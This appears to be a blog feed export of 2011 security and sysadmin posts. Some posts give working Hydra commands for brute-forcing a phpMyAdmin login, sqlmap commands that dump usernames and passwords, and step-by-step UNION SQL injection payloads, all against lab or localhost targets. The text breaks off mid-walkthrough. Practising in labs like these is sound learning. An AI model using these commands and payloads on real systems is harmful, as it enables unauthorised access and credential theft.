scheme='http://www.blogger.com/atom/ns#' term='DirBuster'/><title type='text'>Uncloaking the unprotected with DirBuster</title><content type='html'>The following  two paragraphs were taken from owasp.com on DirBuster.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;DirBuster is a multi threaded java application designed to brute  force directories and files names on web/application servers. Often is  the case now of what looks like a web server in a state of default  installation is actually not, and has pages and applications hidden  within. DirBuster attempts to find these. &lt;/span&gt;&lt;p style="color: rgb(255, 102, 0);"&gt;However tools of this nature are often as only good as the  directory and file list they come with. A different approach was taken  to generating this. The list was generated from scratch, by crawling the  Internet and collecting the directory and files that are actually used  by developers! DirBuster comes a total of 9 different lists (Further  information can be found below), this makes DirBuster extremely  effective at finding those hidden files and directories. And if that was  not enough DirBuster also has the option to perform a pure brute force,  which leaves the hidden directories and files nowhere to hide! If you  have the time ;) &lt;/p&gt;Here is a video that i've created illustrating one of the ways DirBuster can be used and why its very important to take the necessary steps to secure your data, rather than just hiding it. Because the webmaster didn't properly configure his webserver for security, it was possible to gain access to some data.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe src="http://player.vimeo.com/video/31806212?title=0&amp;amp;byline=0&amp;amp;portrait=0" webkitallowfullscreen="" allowfullscreen="" width="400" frameborder="0" height="300"&gt;&lt;/iframe&gt;&lt;p&gt;&lt;a href="http://vimeo.com/31806212"&gt;Dirbuster&lt;/a&gt; from &lt;a href="http://vimeo.com/aerokid240"&gt;aerokid240&lt;/a&gt; on &lt;a href="http://vimeo.com/"&gt;Vimeo&lt;/a&gt;.&lt;/p&gt;&lt;br /&gt;Resources / Good Reading:&lt;br /&gt;&lt;a href="https://www.owasp.org/index.php/Category:OWASP_DirBuster_Project"&gt;owasp.com&lt;/a&gt;&lt;br /&gt;&lt;p style="color: rgb(255, 102, 0);"&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-5210163145546695189?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/5210163145546695189/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2011/11/uncloaking-unprotected-with-dirbuster.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/5210163145546695189'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/5210163145546695189'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2011/11/uncloaking-unprotected-with-dirbuster.html' title='Uncloaking the unprotected with DirBuster'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-2431620317375136864</id><published>2011-11-05T07:10:00.000-07:00</published><updated>2011-11-05T08:15:04.663-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hydra'/><title type='text'>Brute forcing html login forms</title><content type='html'>Lately, i been really busy at work and havent researched or read any books in the past two weeks. Already i felt like my brain was slipping away. So i decided to fire up a DVL (Damn Vulnerable linux), which is a live distribution that has many vulnerabilities for one to practice their security skills. I haven't used it before so i didn't know what i was getting into. I did a port scan and found two open ports (631 and 3306/mysql). Initially, i tried to identify the MySQL version using metasploit but that didn't work. I then tried using the metasploit mysql bruteforcer, to do a dictionary attack on the service, but metasploit complained that the attack will only work on older versions of MySQL. I was clueless. I began looking around the DVL and then started apache (isn't running by default) from the desktop shortcuts. I went back to my attacking backtrack 5 machine and fired up Firefox then went to the relevant webpage URL for the DVL machine. Interesting enough, it gave me a directory listing. I saw phpmyadmin listed so i decided to go in their. I was presented with the login page. I tried some random stuff i thought might work and had no success. I was failing miserably. What i needed to do at that point was automate the password guessing process. This is where hydra comes in.&lt;br /&gt;&lt;br /&gt;This is the code i used.&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;# hydra -l admin -P passwords.lst -e ns -vV 192.168.2.10 http-post-form "/phpmyadmin/index.php:pma_username=^USER^&amp;amp;pma_password=^PASS^&amp;amp;server=1:denied"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;After a few minutes, i had a smile on my face. Hydra found two usable passwords for the username admin. Just to avoid any spoilers, i wouldn't post the relevant passwords. Out of curiosuty, i decided to run hydra again for the user root.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;# hydra -l &lt;span style="color: rgb(255, 0, 0);"&gt;root&lt;/span&gt; -P passwords.lst &lt;span style="color: rgb(255, 0, 0);"&gt;-f&lt;/span&gt; -e ns -vV 192.168.2.10 http-post-form  "/phpmyadmin/index.php:pma_username=^USER^&amp;amp;pma_password=^PASS^&amp;amp;server=1:denied"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I decided to use the "-f" switch so hydra would quit immediately when a matching password is found. Indeed, after a few seconds, i had a usable password. In reality, there is nothing to fancy about this as the accounts and their passwords seem to be at their defaults and if you knew what mysql accounts default credentials are, then you know that bruteforcing here was a dead waste of time :). Either way, i had a foot in the door and the point of this was to demonstrate how you can bruteforce html login forms with hydra.&lt;br /&gt;&lt;br /&gt;BTW, adding the "&lt;span style="color: rgb(255, 0, 0);"&gt;-U&lt;/span&gt;" switch would give you usage information when using the "http-post-form" service.&lt;br /&gt;&lt;br /&gt;Update: It turns out that you can use any username with the password of "0" for some reason :). Now that you have access, to the mysql database, you can snoop around to get information and user logins for web apps like wordpress and joomla.&lt;br /&gt;&lt;br /&gt;Resources/Good Reading:&lt;br /&gt;&lt;a href="https://www.owasp.org/index.php/Testing_for_Brute_Force_%28OWASP-AT-004%29"&gt;OWASP.org&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-2431620317375136864?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/2431620317375136864/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2011/11/brute-forcing-html-login-forms.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/2431620317375136864'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/2431620317375136864'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2011/11/brute-forcing-html-login-forms.html' title='Brute forcing html login forms'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-6462990182963929805</id><published>2011-09-19T06:21:00.000-07:00</published><updated>2011-10-22T06:58:20.786-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='dovecot'/><category scheme='http://www.blogger.com/atom/ns#' term='postfix'/><title type='text'>Mail Serving with Postfix and dovecot</title><content type='html'>There are tons of great documentation out there showing you how to set this SMTP server up. Postfix is very popular and a great alternative to the even more popular sendmail. Here are some good resources that i used to learn how to set this up:&lt;br /&gt;&lt;br /&gt;&lt;a href="https://help.ubuntu.com/11.04/serverguide/C/postfix.html"&gt;Ubuntu postifx documenation&lt;/a&gt;&lt;br /&gt;&lt;a href="https://help.ubuntu.com/community/PostfixVirtualMailBoxClamSmtpHowto"&gt;Postfix virtual mailbox setup&lt;/a&gt;&lt;br /&gt;&lt;a href="http://wiki.centos.org/HowTos/postfix"&gt;Centos postfix setup&lt;/a&gt;&lt;br /&gt;&lt;a href="http://wiki.centos.org/HowTos/postfix_restrictions"&gt;Centos postfix restrictions&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Setting up dovecot is simple enough. Check out the following resources:&lt;br /&gt;&lt;a href="https://help.ubuntu.com/11.04/serverguide/C/dovecot-server.html"&gt;Ubuntu dovecot configuration&lt;/a&gt;&lt;br /&gt;&lt;a href="http://wiki.dovecot.org/VirtualUsers"&gt;wiki.Dovecot.org virtual users&lt;/a&gt;&lt;br /&gt;&lt;a href="http://wiki.dovecot.org/HowTo/SimpleVirtualInstall"&gt;wiki.Dovecot.org virtual users example&lt;/a&gt;&lt;br /&gt;&lt;a href="http://wiki.dovecot.org/Authentication/PasswordSchemes"&gt;wiki.dovecot.org authentication/password schemes&lt;/a&gt;&lt;br /&gt;&lt;a href="http://wiki.dovecot.org/HowTo/PostfixAndDovecotSASL"&gt;Integrating dovecot SASL with postfix&lt;/a&gt;&lt;br /&gt;&lt;a href="http://wiki.dovecot.org/HowTo/CRAM-MD5"&gt;wiki.dovecot.org cram-md5 howto&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Postifx/dovecot mail system can make use of actual system users or virtual users. With system users, you would have to create a new system users (eg, adduser mark) for each user. I don't really want to have to create a new system user everytime to add a new mail user. Using virtual users with virtual mailboxes suites my installations better (more personal preference). The key thing to remember is that you would have to make changes to both postfix and dovecot configutations to get this to work. In postfix, the key settings that need to be modified can be seen &lt;a href="http://www.postfix.org/VIRTUAL_README.html#virtual_mailbox"&gt;here&lt;/a&gt;. In dovecot, &lt;a href="http://wiki.dovecot.org/HowTo/SimpleVirtualInstall"&gt;this&lt;/a&gt; example will show you how to setup the virtual user accounts for SASL login authentication.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-6462990182963929805?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/6462990182963929805/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2011/09/mail-serving-with-postfix-and-dovecot.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/6462990182963929805'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/6462990182963929805'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2011/09/mail-serving-with-postfix-and-dovecot.html' title='Mail Serving with Postfix and dovecot'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-2077676886966654288</id><published>2011-08-31T12:13:00.000-07:00</published><updated>2011-11-24T06:42:15.465-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='logrotate'/><category scheme='http://www.blogger.com/atom/ns#' term='backups'/><title type='text'>File Backups with logrotate</title><content type='html'>Logrotate is a log rotating program, that usually gets executed daily by a cron job. It has a main configuration file located at &lt;span style="color: rgb(255, 102, 0);"&gt;"/etc/logrotate.conf"&lt;/span&gt; and additional configs are usually store in the directory located at &lt;span style="color: rgb(255, 102, 0);"&gt;"/etc/lofrotate.d"&lt;/span&gt;. The options in the configuration file are dead simple to understand and can be learned from its manpage (man logrotate). Logrotate is mainly used to backup and rotate log files but can be used on any file.&lt;br /&gt;The following example will show how to back up contents of the /var/www folder.&lt;br /&gt;&lt;br /&gt;First thing we will do is create a directory to house our configuration file and the backups. We will do this in our home directory at &lt;span style="color: rgb(255, 102, 0);"&gt;"/home/user"&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;# mkdir backups&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;# cd /home/user/backups&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;We then create the config file named &lt;span style="color: rgb(255, 102, 0);"&gt;rotate.conf:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;### logrotate config file&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;/home/user/backups/www.tar{&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;   rotate 4&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;   daily&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;   compress&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;   copy&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;   prerotate&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;      rm /home/user/backups/www.tar&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;      tar -cf  /home/user/backups/www.tar /var/www&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;   endscript&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;###&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;A quick run down of the config options:&lt;br /&gt;-The first line gives the path to the file we want to backup and rotate&lt;br /&gt;-Rotate 4 will keep up to 4 backups and rotate onwards&lt;br /&gt;-daily is set to have log files rotated daily&lt;br /&gt;-Compress will use gzip to compress the file by default&lt;br /&gt;-copy just makes a copy of the original file for backup&lt;br /&gt;-The &lt;span style="color: rgb(255, 102, 0);"&gt;prerotate&lt;/span&gt; directive allows us to run commands before rotating the logs. The commands i used should be straight forward enough to understand, but anything can go here. You must end the prerotate directive with &lt;span style="color: rgb(255, 102, 0);"&gt;endscript&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;In our setup, logrotate will need a dummy file called www.tar to start off properly, so we will create an empty file with that name:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;# touch www.tar&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Thats it for the configuration. Now to run logrotate issue the following:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;# logrotate -f /home/user/rotate.conf&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;the &lt;span style="color: rgb(255, 102, 0);"&gt;"-f"&lt;/span&gt; option tells logrotate to force the rotation.&lt;br /&gt;&lt;br /&gt;Running this command a few times (7-8) will basically cause several backups to be created and rotated as need be. You would eventually notice that only 4 backups are being kept as per our configuration.&lt;br /&gt;&lt;br /&gt;Resouces/Good Reading:&lt;br /&gt;&lt;a href="http://kangaroobox.blogspot.com/2009/07/backing-up-your-database-with-logrotate.html"&gt;kangaroobox.blogspot&lt;/a&gt;&lt;br /&gt;&lt;a href="http://linuxcommand.org/man_pages/logrotate8.html"&gt;manpage&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.thegeekstuff.com/2010/07/logrotate-examples/"&gt;thegeekstuff.com&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-2077676886966654288?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/2077676886966654288/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2011/08/file-backups-with-logrotate.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/2077676886966654288'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/2077676886966654288'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2011/08/file-backups-with-logrotate.html' title='File Backups with logrotate'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-4492134147205825416</id><published>2011-08-26T18:28:00.000-07:00</published><updated>2011-08-26T18:36:03.820-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='apache'/><title type='text'>Tips on securing apache webserver</title><content type='html'>I came across a nice article at linux.com that i wanted to share. It was very useful to me and i'm sure it will be to someone else as well. I've read other articles on the topic but i found that this one does the best job in explaining why certain options were used and their benefits. If you have an apache server out there and you're skeptical about its security, then maybe reading this article might put some things into perspective for you and set you on the right path.&lt;br /&gt;&lt;br /&gt;Link: &lt;a href="http://www.linux.com/archive/articles/113744"&gt;Securing Apache&lt;/a&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-4492134147205825416?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/4492134147205825416/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2011/08/tips-on-securing-apache-webserver.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/4492134147205825416'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/4492134147205825416'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2011/08/tips-on-securing-apache-webserver.html' title='Tips on securing apache webserver'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-1982518659536121884</id><published>2011-08-07T15:51:00.000-07:00</published><updated>2011-08-07T17:09:09.286-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sqlmap'/><title type='text'>Automating sql injection with Sqlmap</title><content type='html'>Sqlmap is an automated sql injection tool written in python. More information can be found at this &lt;a href="http://sqlmap.sourceforge.net/"&gt;link&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;iframe src="http://player.vimeo.com/video/27415657?title=0&amp;amp;byline=0&amp;amp;portrait=0" frameborder="0" height="300" width="400"&gt;&lt;/iframe&gt;&lt;p&gt;&lt;a href="http://vimeo.com/27415657"&gt;sqlmap&lt;/a&gt; from &lt;a href="http://vimeo.com/aerokid240"&gt;aerokid240&lt;/a&gt; on &lt;a href="http://vimeo.com/"&gt;Vimeo&lt;/a&gt;.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;Commands used.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;sqlmap -u 'http://127.0.0.1/exploit/newspage.php?id=1' -p 'id' --dbs&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;sqlmap -u 'http://127.0.0.1/exploit/newspage.php?id=1' -p 'id' -D exploit --tables&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt; sqlmap -u 'http://127.0.0.1/exploit/newspage.php?id=1' -p 'id' -D exploit -T members --columns&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt; sqlmap -u 'http://127.0.0.1/exploit/newspage.php?id=1' -p 'id' -D exploit -T members -C username --dump&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;  sqlmap -u 'http://127.0.0.1/exploit/newspage.php?id=1' -p 'id' -D exploit -T members -C password --dump&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Sqlmap options used:&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;-u Target url&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;    --dbs               Enumerate DBMS databases&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;    --tables            Enumerate DBMS database tables&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;    --columns           Enumerate DBMS database table columns&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;    --dump              Dump DBMS database table entries&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;    -D DB               DBMS database to enumerate&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;    -T TBL              DBMS database table to enumerate&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;    -C COL              DBMS database table column to enumerate&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Resources/Good Reading:&lt;br /&gt;&lt;a href="http://sqlmap.sourceforge.net/#docs"&gt;sqlmap&lt;/a&gt;&lt;br /&gt;&lt;a href="http://pauldotcom.com/2009/05/sql-injection-with-sqlmap.html"&gt;pauldotcom&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-1982518659536121884?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/1982518659536121884/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2011/08/automating-sql-injection-with-sqlmap.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/1982518659536121884'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/1982518659536121884'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2011/08/automating-sql-injection-with-sqlmap.html' title='Automating sql injection with Sqlmap'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-1441411315210513065</id><published>2011-08-02T16:00:00.000-07:00</published><updated>2011-08-07T15:49:24.419-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sql injection'/><title type='text'>From SQL injection to Shell</title><content type='html'>For months and months i avoided this topic. I always assumed that this injection technique was minor and not high risk. So what if you loose email addresses and phone numbers, this stuff is pretty much public knowledge anyways right?(Google your email address and don't be too surprised by the result). Of course, at the time i knew absolutely nothing about sql injection and i was basing this on pure assumption. Well now that I've taken a good week to learn as much as i can about the topic i must say that i was overwhelmed by what can be accomplished by this attack. Trust me when i say that writing exploits for windows executables is cool and amazing. Sql injection doesn't fall short of coolness either and i would like to demonstrate this. This demonstration should give you an idea of what this attack is and why it is EXTREMELY dangerous.&lt;br /&gt;&lt;br /&gt;Note: This is not a tutorial. Background knowledge of sql injection is required to follow. I recommend reading &lt;a href="http://hakipedia.com/index.php/SQL_Injection"&gt;here&lt;/a&gt; or check some of the other resources at the end of the post to get a grasp of some of the concepts.&lt;br /&gt;&lt;br /&gt;The vulnerable app i would be using here is a php website with a MySQL back-end. You can get the download &lt;a href="http://sourceforge.net/projects/exploitcoilvuln/"&gt;here&lt;/a&gt;. It is know as exploit.co.il i believe.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;Installation:&lt;/span&gt;&lt;br /&gt;&lt;p style="text-align: left; color: rgb(255, 102, 0);"&gt;1. Extract the tar.gz file to your web root directory&lt;/p&gt;&lt;p style="text-align: left; color: rgb(255, 102, 0);"&gt;2. Set up a new database either using CLI or phpMyAdmin and import the "exploit.sql" database&lt;/p&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;3. You will need to edit the database connection string which is located in a file named"config.php" in your web root folder and "config.php" in webroot/admin/ folderEdit this config file with your sql server address,user name,password and database name.Thats all, Now just browse to "localhost" or 127.0.0.1 to see the web site.&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;Assuming the website is up and running, we will test for the vulnerability on the newspage.php page. On the homepage click on one of the articles under the "latest news" section. Note the URL on the address bar &lt;span style="color: rgb(255, 102, 0);"&gt;"http://127.0.0.1/newspage.php?id=1"&lt;/span&gt; (note your id=value , parameter may differ based on  your selection).&lt;br /&gt;&lt;br /&gt;Now add a " ' " at the end of the URL; &lt;span style="color: rgb(255, 102, 0);"&gt;" http://127.0.0.1/newspage.php?id=1&lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;' &lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;"&lt;/span&gt;.&lt;br /&gt;Notice that nothing fancy really happens. Typically, you would get a database syntax error message somewhere on the page, but the programmer of the website took the extra step to prevent this. This type of sql injection attack is usually classified as blind sql injection.&lt;br /&gt;&lt;br /&gt;lets try to add a mysql comment character, "&lt;span style="color: rgb(255, 0, 0);"&gt;#&lt;/span&gt;", to the url;&lt;span style="color: rgb(255, 102, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;"http://127.0.0.1/newspage.php?id=1&lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;#"&lt;/span&gt;&lt;br /&gt;Nothing happened here.&lt;br /&gt;&lt;br /&gt;Lets url encode the "&lt;span style="color: rgb(255, 0, 0);"&gt;#&lt;/span&gt;". This becomes "%23".&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;"http://127.0.0.1/newspage.php?id=1&lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;%23"&lt;/span&gt;.&lt;br /&gt;Ah this here completed the query. You would notice this as the page returned information pertaining to this id number. This is a sign of the existence of an sql injection vulnerability. You can visualize the query being something like " &lt;span style="color: rgb(255, 102, 0);"&gt;select * from news where id='1'&lt;/span&gt; ". With our inject data, the query would look like this " &lt;span style="color: rgb(255, 102, 0);"&gt;select * from news where id='1' &lt;span style="color: rgb(255, 0, 0);"&gt;#&lt;/span&gt;' &lt;/span&gt;". The %23 in the url was converted to "&lt;span style="color: rgb(255, 0, 0);"&gt;#&lt;/span&gt;", the comment symbol in mysql.&lt;br /&gt;&lt;br /&gt;The following are steps that i took to enumerate information from the database. I would be manipulating the id= parameter in the url from now on.&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Obtain the number of columns from the query. &lt;span style="color: rgb(255, 102, 0);"&gt;id=1' order by &lt;span style="color: rgb(255, 0, 0);"&gt;x&lt;/span&gt; %23&lt;/span&gt; . Where x is the number of columns. Start with 1, then increment this number until the page returned is no longer valid. I learned that the number of columns returned by the query is 7&lt;/li&gt;&lt;li&gt;Determine where and what columns are displayed on the page. &lt;span style="color: rgb(255, 102, 0);"&gt;id=x' union all select 1,2,3,4,5,6,7 %23&lt;/span&gt;. You would notice that the third and seventh column are returned. We will use the 7th column to enumerate database information.&lt;/li&gt;&lt;li&gt;Enumerate the database name.&lt;span style="color: rgb(51, 255, 51);"&gt; &lt;span style="color: rgb(255, 102, 0);"&gt;id=x' union all select 1,2,3,4,5,6,database() %23&lt;/span&gt;&lt;/span&gt;. Database is exploit.&lt;/li&gt;&lt;li&gt;Enumerate the current user. &lt;span style="color: rgb(255, 102, 0);"&gt; id=x' union all select 1,2,3,4,5,6,current_user() %23&lt;/span&gt;. Current user is root :)&lt;/li&gt;&lt;li&gt;Enumerate the tables.&lt;span style="color: rgb(51, 255, 51);"&gt; &lt;span style="color: rgb(255, 102, 0);"&gt;id=x' union all select 1,2,3,4,5,6,table_name from information_schema.tables where table_schema=database() limit &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;x&lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;,1%23&lt;/span&gt;&lt;/span&gt;. Where x is like an index to the table number. &lt;span style="color: rgb(255, 102, 0);"&gt;Limit 0,1&lt;/span&gt; will return the first table,&lt;span style="color: rgb(255, 102, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;limit 1,1&lt;/span&gt; will return the second table, &lt;span style="color: rgb(255, 102, 0);"&gt;limit 2,1&lt;/span&gt; will return the third table and so forth.&lt;/li&gt;&lt;li&gt;Enumerate the columns.&lt;span style="color: rgb(51, 255, 51);"&gt; &lt;span style="color: rgb(255, 102, 0);"&gt;id=x' union all select 1,2,3,4,5,6,column_name from information_schema.columns where table_schema =database() and table_name='&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;x&lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;'&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(255, 102, 